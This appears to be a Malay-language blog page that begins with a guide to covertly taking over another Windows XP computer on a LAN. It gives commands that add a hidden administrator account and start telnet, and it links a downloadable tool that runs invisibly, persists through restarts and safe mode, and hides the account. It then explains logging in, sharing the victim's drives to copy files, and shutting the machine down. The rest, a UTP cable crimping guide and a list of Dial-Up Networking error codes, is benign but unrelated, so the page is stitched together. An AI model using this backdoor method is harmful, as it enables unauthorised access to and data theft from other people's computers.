Mengendalikan komputer dalam rangkaian LAN

Kali ini penulis ingin berkongsi sebuah trik untuk mengendalikan komputer menggunakan telnet dalam rangkaian LAN, dan tentunya dalam liputan sistem operasi windows xp. Sebelum menuju ke mata utama "cara mengedalikan komputer", terlebih dahulu akan di bahas mengenai apa itu TELENT, TELNET merupakan sebuah tool yang berfungsi untuk mengendalikan komputer (remote) yang bebasiskan client dan server. Tool telnet ini secara default sudah tersedia atau terinclude di dalam windows xp, dan akan menjadi mata utama dalam artikel cara mengendalikan komputer ini.




Dalam artikel "cara mengedalikan komputer" ini saya akan membuatkan sebuah tools yg berfungsi agar kita boleh masuk pada komputer target dengan hak akses Administrator sehingga kita boleh melakukan apa-apa di dalamnya melalui komputer kita, di sini status komputer kita adalah sebagai client, dan komputer target selaku pelayan yang akan kita kendalikan melalui telnet.



inti dari baris code yang ada di dalam tool ini adalah menjalankan perintah cmd.exe untuk membuat user beserta password dengan hak akses administrator kemudian mengaktivkan telnet server yang ada di komputer target dalam rangkaian LAN. Ini adalah baris codenya:



1. net user fck 123456 / add

2. net localgroup administrators fck / add

3. net start telnet







keterangan:

1. membuat user sebagai fck dan password 123456

2. memasukkan user fck kedalam group pentadbir

3. mengaaktivkan TELNET pelayan



Klik disini untuk mendownload tools nya

password: my-secreet



Tools ini berjalan di background tanpa ada window yang visible, auto start pada windows start up, tetap aktif pada safe mode windows dan tanpa ada user yang terlihat pada winlogon.



Cara penggunaan:

1. Sila download dan jalankan tools ini dalam komputer target, caranya sila berusaha sendiri.

2. Anda harus mengetahui IP address komputer target, cuba gunakan tool scanner IP jika anda belum tau IP addressnya.

3. Buka CMD (command prompt) pada komputer anda, kemudian taip "telnet IP_TARGET" (tanpa tanda petik)

4. Akan muncul form login, isikan usernya: fck dan passwordnya: 123456

5. Jika berhasil, saat itu juga anda sudah menguasai shell target.

6. Apabila ingin mengcopy file-file dari komputer target, gunakan "net share", caranya ketik "net share namashare = c:" tanpa tanda petik, perintah ini berfungsi untuk mensharing drive "C", sila sesuaikan drive yang akan di share, misalkan " net share namashare = d: "untuk mensharing drive" D "kemudian buka run, dan taip''ip_komputer_target.

7. Untuk mendisable sharing gunakan perintah "net share namashare / del"

8. Untuk mematikan komputer, taip "shutdown-s-t 0-f" tapa tanda petik, anda boleh mengaplikasikan perintah cmd windows yang lain.





Untuk proses kinerja tools secara visiblenya adalah seperti di bawah:

UTP pegenalan

UTP, singkatan dari “Unshielded Twisted Pair”. Disebut unshielded karena kurang tahan terhadap interferensi elektromagnetik. Dan disebut twisted pair karena di dalamnya terdapat pasangan kabel yang disusun spiral alias saling berlilitan

Secara umum, pemasangan kabel UTP tersebut ada dua jenis, iaitu straight dan cross.

Disebut straight kerana masing-masing kabel yang jumlahnya 8 itu berkorespondensi 1-1, langsung. Sedangkan cross pula ada persilangan pada susunan kabelnya. Bingung?

OK! Untuk straight cable ia digunakan untuk menyambungkan kabel dari client ke hub/switch. Sedangkan untuk cross cable pula adalah untuk sambungan client kepada client (pc to pc) atau juga dari hub ke hub.

Kita bahas dulu straight cable
Paling mudah dibuat. Kenapa? Kerana korespondensinya 1-1. Susunan urutannya begini (dilihat dari lubang konektor, dari kiri ke kanan): 2 oranye - 1 hijau - 2 biru - 1 hijau - 2 coklat . 2 oranye disini maksudnya pasangan oranye muda sama oranye tua dan seterusnya. Tapi tidak usah ikut standar pewarnaan itu juga sebenarnya tidak masalah. Yang penting urutan kabelnya. Misal ujung pertama urutan pin pertamanya oranye muda, maka ujung yang lain urutan pin pertamanya juga harus oranye muda, jadi antar ujung saling nyambung. Sebenarnya tidak semua pin tersebut digunakan.

Yang penting adalah pin nomor 1,2,3 dan 6. Jadi misal yang disambung hanya pin 1,2,3 dan 6 sedangkan pin yang lain tidak dipasang, tidak jadi masalah.

Waktu akan memasangnya, maka potong ujung kabelnya, kemudian susun kabelnya trus diratakan dengan pisau potong yang ada pada crimp tool. Andak tidak perlu repot harus melepaskan isolasi pada bagian ujung kabel, karena waktu Anda memasukan kabel itu ke konektor lalu ditekan (pressed) dengan menggunakan crimp tool, sebenarnya saat itu pin yang ada di konektor menembus sampai ke dalam kabel. Perhatikan, agar penekannya (pressing) yang keras, soalnya kalau tidak keras kadang pin tersebut tidak tembus ke dalam isolasi kabelnya. Kalau sudah kemudian Anda test menggunakan LAN tester. Masukkan ujung ujung kabel ke alatnya, kemudian nyalakan, kalau lampu led yang pada LAN tester menyala semua, dari nomor 1 sampai 8 berarti Anda telah sukses. Kalau ada salah satu yang tidak menyala berarti kemungkinan pada pin nomor tersebut ada masalah. Cara paling mudah yaitu Anda tekan (press) lagi menggunakan tang. Kemungkinan pinnya belum tembus. Kalau sudah Anda tekan tetapi masih tidak nyambung, maka coba periksa korespondensinya antar pin udah 1-1 atau belum. Kalau ternyata sudah benar dan masih gagal, berarti memang Anda belum beruntung. Ulangi lagi sampai berhasil.

Tipe Cross
Untuk tipe cross itu digunakan untuk menyambungkan langsung antar dua PC, atau yang umumnya digunakan untuk menyambungkan antar hub. (misalnya karena colokan di hubnya kurang). Cara pemasangannya juga sebenarnya mudah, sama seperti tipe straight, pin yang digunakan juga sebenarnya hanya 4 pin saja, yaitu pin 1, 2, 3 dan 6. Yang berbeda adalah cara pasangnya. Kalau pada tipe cross, pin 1 disambungkan ke pin 3 ujung yang lain, pin 2 ke 6, pin 3 ke 1 dan pin 6 ke 2. Praktisnya begini, pada ujung pertama Anda bisa susun pinnya sesuai standar untuk yang tipe “straight”, sementara itu di ujung yang lain Anda susun pinnya sesuai standar buat tipe “cross”.

Masih bingung? Begini cara mudahnya:

Ujung pertama:

1. oranye muda
2. oranye tua
3. hijau muda
4. biru muda
5. biru tua
6. hijau tua
7. coklat muda
8. coklat tua

Maka di ujung yang lain harus dibuat begini:

1. hijau muda
2. hijau tua
3. orange muda
4. biru muda
5. biru tua
6. orange tua
7. coklat muda
8. coklat tua

Sudah agak lebih mengerti? Jadi disini posisi nomor 1, 2, 3 dan 6 yang ditukar. Nanti jika dites menggunakan LAN tester, maka nantinya led 1, 2, 3 dan 6 akan saling bertukar. Kalau tipe straight menyalanya urutan, sedangkan tipe cross ada yang lompat-lompat. Tapi yang pasti harus menyalasemua setiap led dari nomor 1 sampai 8.

Dial-Up Networking Errors

Source:http://www.modemsite.com/56k/dunserror.asp

A listing in numeric order of Microsoft Dial-Up Networking (DUNS) Error codes with the Microsoft error message follows. If there's a hyperlink, you can follow it for more information on what to do about the error. If you are getting an error that does not have more information here, please let me know! The list includes error codes for Windows 95, 98, Me, NT, 2000, XP, and Vista.

In later versions of operating systems (NT, 2000, XP and Vista) some of the errors can occur for connections other than traditional dial-up modem connections: they may occur with DSL and VPN (virtual private networking) connections that do not involve dial-up.

NOTE: Some solutions indicate to re-install DUNs and/or TCP/IP. See this Microsoft KB article for Win 95/98 instructions to Remove & Re-install DUNS & TCP/IP. Newer versions of Windows don't allow DUNS uninstall: see Reset DUNS (TCP/IP) in Windows 2000 & XP.

Windows Vista: Dialing directly from the 'Connect To' menu or other shortcuts will not display DUNs error codes - instead, particularly large and unhelpful dialog boxes are shown as detailed here. In order to see any DUNs error codes, you must dial from the 'Manage Network Connections' Window.

ALSO SEE: Connectoids. In many cases, DUNs Errors can be solved by correcting the properties for your dial-up networking connections.

800 - Unable to establish the VPN connection. The VPN server may be un-reachable, or security parameters may not be configured properly for this connection.

801 - This connection is configured to validate the identity of the access server, but Windows cannot verify the digital certificate sent by the server.

ERROR CODES 802 - 827 ARE NEW TO WINDOWS VISTA
802 - The card supplied was not recognized. Please check that the card is inserted correctly, and fits tightly.

803 - The PEAP configuration stored in the session cookie does not match the current session configuration.

804 - The PEAP identity stored in the session cookie does not match the current identity.

805 - You cannot dial using this connection at logon time, because it is configured to use logged on user's credentials.

806 - A connection between your computer and the VPN server has been started, but the VPN connection cannot be completed. The most common cause for this is that at least one Internet device (for example, a firewall or a router) between your computer and the VPN server is not configured to allow Generic Routing Encapsulation (GRE) protocol packets. If the problem persists, contact your network administrator or Internet service provider.

807 - The network connection between your computer and the VPN server was interrupted. This can be caused by a problem in the VPN transmission and is commonly the result of internet latency or simply that your VPN server has reached capacity. Please try to reconnect to the VPN server. If this problem persists, contact the VPN administrator and analyze quality of network connectivity.

808 - The network connection between your computer and the VPN server could not be established because the remote server refused the connection. This is typically caused by a mismatch between the server's configuration and your connection settings. Please contact the remote server's Administrator to verify the server configuration and your connection settings.

809 - The network connection between your computer and the VPN server could not be established because the remote server is not responding. This could be because one of the network devices (e.g., firewalls, NAT, routers, etc.) between your computer and the remote server is not configured to allow VPN connections. Please contact your Administrator or your service provider to determine which device may be causing the problem.

810 - A network connection between your computer and the VPN server was started, but the VPN connection was not completed. This is typically caused by the use of an incorrect or expired certificate for authentication between the client and the server. Please contact your Administrator to ensure that the certificate being used for authentication is valid.

811 - The network connection between your computer and the VPN server could not be established because the remote server is not responding. This is typically caused by a pre-shared key problem between the client and server. A pre-shared key is used to guarantee you are who you say you are in an IP Security (IPSec) communication cycle. Please get the assistance of your administrator to determine where the pre-shared key problem is originating.

812 - The connection was prevented because of a policy configured on your RAS/VPN server. Specifically, the authentication method used by the server to verify your username and password may not match the authentication method configured in your connection profile. Please contact the Administrator of the RAS server and notify them of this error.

813 - You have attempted to establish a second broadband connection while a previous broadband connection is already established using the same device or port. Please disconnect the earlier connection and then re-establish the connection.

814 - The underlying Ethernet connectivity required for the broadband connection was not found. Please install and enable the Ethernet adapter on your computer via the Network Connections folder before attempting this connection.

815 - Failed to connect.
815 - The broadband network connection could not be established on your computer because the remote server is not responding. This could be caused by an invalid value for the 'Service Name' field for this connection. Please contact your Internet Service Provider and inquire about the correct value for this field and update it in the Connection Properties.

816 - A feature or setting you have tried to enable is no longer supported by the remote access service.

817 - Cannot delete a connection while it is connected.

818 - The Network Access Protection (NAP) enforcement client could not create system resources for remote access connections. Some network services or resources might not be available. If the problem persists, disconnect and retry the remote access connection or contact the administrator for the remote access server.

819 - The Network Access Protection Agent (NAP Agent) service has been disabled or is not installed on this computer. Some network services or resources might not be available. If the problem persists, disconnect and retry the remote access connection or contact the administrator for the remote access server.

820 - The Network Access Protection (NAP) enforcement client failed to register with the Network Access Protection Agent (NAP Agent) service. Some network services or resources might not be available. If the problem persists, disconnect and retry the remote access connection or contact the administrator for the remote access server.

821 - The Network Access Protection (NAP) enforcement client was unable to process the request because the remote access connection does not exist. Retry the remote access connection. If the problem persists, make sure that you can connect to the Internet, and then contact the administrator for the remote access server.

822 - The Network Access Protection (NAP) enforcement client did not respond. Some network services or resources might not be available. If the problem persists, disconnect and retry the remote access connection or contact the administrator for the remote access server.
